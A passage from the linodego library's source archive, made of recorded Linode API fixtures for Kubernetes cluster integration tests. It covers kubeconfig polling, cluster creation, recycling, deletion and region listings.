Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944/kubeconfig method: GET response: body: '{"errors": [{"reason": "Cluster kubeconfig is not yet available. Please try again later."}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Content-Length: - "92" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 503 Service Unavailable code: 503 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944/kubeconfig method: GET response: body: '{"kubeconfig": "CmFwaVZlcnNpb246IHYxCmtpbmQ6IENvbmZpZwpwcmVmZXJlbmNlczoge30KCmNsdXN0ZXJzOgotIGNsdXN0ZXI6CiAgICBjZXJ0aWZpY2F0ZS1hdXRob3JpdHktZGF0YTogTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVUkNWRU5EUVdVeVowRjNTVUpCWjBsSldVaFRhSFJxVHpKTWJqUjNSRkZaU2t0dldrbG9kbU5PUVZGRlRFSlJRWGRHVkVWVVRVSkZSMEV4VlVVS1FYaE5TMkV6Vm1sYVdFcDFXbGhTYkdONlFXVkdkekI1VGtSQk0wMVVRWGhPVkVGM1RYcFdZVVozTUhwT1JFRXpUVVJuZUU1VVFURk5lbFpoVFVKVmVBcEZla0ZTUW1kT1ZrSkJUVlJEYlhReFdXMVdlV0p0VmpCYVdFMTNaMmRGYVUxQk1FZERVM0ZIVTBsaU0wUlJSVUpCVVZWQlFUUkpRa1IzUVhkblowVkxDa0Z2U1VKQlVVUmlUbnB4YkNzclJrbFFXaTk1ZEZKbWNHTTBMMGRyTlU1RVFXdHhSM3BJUW5aMk9FczBiaXMwYVM5alVFZElSM2hJWVZkRFkxcDZhMVVLYm1aa2F5dExURE50ZVcxa1NqRkpRV3QwUzFoMGJETjVaRVJaY1VOdE4wc3hUR1V2ZEROSlkyVnFiWE0zZVRKT2VrcHhiM2hsY21Kak0zZ3pablJNWmdwSlJrVlVjeTh3YUM5MGJFbG9jVXBEZW1GMWNESnlXbTFMTkdGbE4xY3hTWFp3UTNkcldubHdOV0Z2TDI1alF6TnZRVWxuYUUxTE1XeEVSVU50ZEc4MENtRnNRVko2UXpCcWFUUlNlakozVEU1UU5uVlRTWFpSYUhKM1lTOUpjWEpHYjI1dE5rRmlibWczY2s5dVEwUmFTV2s0U21VeE0ybHZXWGxSVmt0aFVrSUtSR05ZYVRKdVZ6TmlNMjh6WWxGQmRra3ZlRUZQYkd0WWRHWjFkRXhLYjFCSFJFdEpjR0k1YUZSa0swYzJTblJHVURVekx6SXJaek4yV2tGM2FVZzFVQXBZWWpGUVltSmxWRkpKUm1WSmVUWkZkbGxTUzFnMVNESlFWRVpvUVdkTlFrRkJSMnBYVkVKWVRVRTBSMEV4VldSRWQwVkNMM2RSUlVGM1NVTndSRUZRQ2tKblRsWklVazFDUVdZNFJVSlVRVVJCVVVndlRVSXdSMEV4VldSRVoxRlhRa0pTVEdSSlJESnZhVkpoTkU4d2JWQlpTVmxIVlhwNVltZHVlSEY2UVZZS1FtZE9Wa2hTUlVWRWFrRk5aMmR3Y21SWFNteGpiVFZzWkVkV2VrMUJNRWREVTNGSFUwbGlNMFJSUlVKRGQxVkJRVFJKUWtGUlExVnVNbEpYYjJvd1l3cEhVRzV1YjBkbWJ6SjZPR3RLYTBOSU1IbzFLelFyWWs1TWNsQk5TRkIzTnpOYVdXNHlhRzlsUW5CQmNqSkJTVkpQTVRKVlpIUnNOM2xTVG1OR1oyWlNDbWcyU1RGdVJIaENTelZ2WkRjeE1uRnNlRlIyU0c5SE1rMDJUbWhMVTI5R1UzQnZSVzVEYjNSTE5XbExVV3gwU25aQ1dsSlRiVGx4ZUZSRGVteHlSV1FLUkc4eFUzSkVORlUwZVdaRVVERndiVXByVjFreE1UTk5WVlZLYkVVM2RHWnpWR3BzVEdOMFpHMTVRVFpxYzBscU9WbG1ibUpIYW1oM1VVZEhkbkJzZVFwQlMwVm1jSGM0YjNsd04wcEtTSE52UW14S1ZYRllaR3d6UmpKbU0weGFRbUpaVDBwWU0zaDNZbmgxT1VKcWNteHdSbEpUVDJNelJrZFJhWEExTTFObUNsYzRaV2hNTkVRclNtOXFjVUZxUkVaNFFUTjNia00wTWpKdFIxYzFkM00zTlhaTlJtZHdSak5VZEhZMFZFRTJaRlZrYUU1NFJWUkZXa0phVUM5Q1VHRUtRazV2VmtnM2EyaEVjSEZMQ2kwdExTMHRSVTVFSUVORlVsUkpSa2xEUVZSRkxTMHRMUzBLCiAgICBzZXJ2ZXI6IGh0dHBzOi8vM2E2OWMxMWItZWM0Zi00OTg3LWFhZGQtZDU4YzM5MzU4N2E1LmNwYzEtY2pqMS10ZXN0aW5nLmxpbm9kZWxrZS5uZXQ6NDQzCiAgbmFtZTogbGtlNzk0NAoKdXNlcnM6Ci0gbmFtZTogbGtlNzk0NC1hZG1pbgogIHVzZXI6CiAgICBhcy11c2VyLWV4dHJhOiB7fQogICAgdG9rZW46IGV5SmhiR2NpT2lKU1V6STFOaUlzSW10cFpDSTZJbEJyU21aRldWOVZZMEpVZUdZeFVGcHVORlZrZDFKb1gzcFlSVXhPYUZCSFpWZzBVV0YxWjFONk5YTWlmUS5leUpwYzNNaU9pSnJkV0psY201bGRHVnpMM05sY25acFkyVmhZMk52ZFc1MElpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl1WVcxbGMzQmhZMlVpT2lKcmRXSmxMWE41YzNSbGJTSXNJbXQxWW1WeWJtVjBaWE11YVc4dmMyVnlkbWxqWldGalkyOTFiblF2YzJWamNtVjBMbTVoYldVaU9pSnNhMlV0WVdSdGFXNHRkRzlyWlc0dFkyZG9OSGdpTENKcmRXSmxjbTVsZEdWekxtbHZMM05sY25acFkyVmhZMk52ZFc1MEwzTmxjblpwWTJVdFlXTmpiM1Z1ZEM1dVlXMWxJam9pYkd0bExXRmtiV2x1SWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXpaWEoyYVdObExXRmpZMjkxYm5RdWRXbGtJam9pT0dNMlpEa3lOak10TkdabFpDMDBaV0k0TFRreE1URXRPVGc0TW1RMFpqZGtNVFF3SWl3aWMzVmlJam9pYzNsemRHVnRPbk5sY25acFkyVmhZMk52ZFc1ME9tdDFZbVV0YzNsemRHVnRPbXhyWlMxaFpHMXBiaUo5LlZyZ1FtTHVucjYtMVpDVDNTZkRpUlVDMUhPNnB0NFlleF9ueVBoU2pYVU1zVlNKb3FtaDBEaWp5Wk50aDM1VVlYRXE0X183bHNuZk9LZC1QMkVVSTFxZHhHVFkzOFp5Ty1UQ2ZKcG5KYVZ3bkhvN1BDcWVjaGNEX3ZrdnFtUGRObHJxeXplR2xfUlNEYjRfX0pUcGp4NmJLYm8zSkZUOFZPN2gzQXBkZlBYMThpVHFBUGZJVXpIbXVUUEZ1Zy1jeWt0U3RGczRVc3BMQ09qTkYwZkVDVUtHR0w0WlhnUHk5WEZKS25LQmdkTW92aUhCU0E5Q3NQX050V1l4bkpIMUM1ZnJQN2R3alN5cVBBaE1uYlZPWHBILWIyZ3kzMkhEeXV2NEdleGtvNzlaY3dUN3otc2pXSTJBalZ2THUwSTdhWEs5VmUtbVgtUkpxUmthNEN1UmpfQQoKY29udGV4dHM6Ci0gY29udGV4dDoKICAgIGNsdXN0ZXI6IGxrZTc5NDQKICAgIG5hbWVzcGFjZTogZGVmYXVsdAogICAgdXNlcjogbGtlNzk0NC1hZG1pbgogIG5hbWU6IGxrZTc5NDQtY3R4CgpjdXJyZW50LWNvbnRleHQ6IGxrZTc5NDQtY3R4Cg=="}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7944 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_Nodes_Recycle.yaml000066400000000000000000000343751474652371000330770ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing100", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 16}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"]}],"label":"go-lke-test-recycle","region":"us-east","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 7942, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-recycle", "region": "us-east", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "243" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7942/recycle method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/7942 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKECluster_Update.yaml000066400000000000000000000403261474652371000315740ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing66", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "billing67", "label": "Billing Automation, BA", "country": "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": {"ipv4": 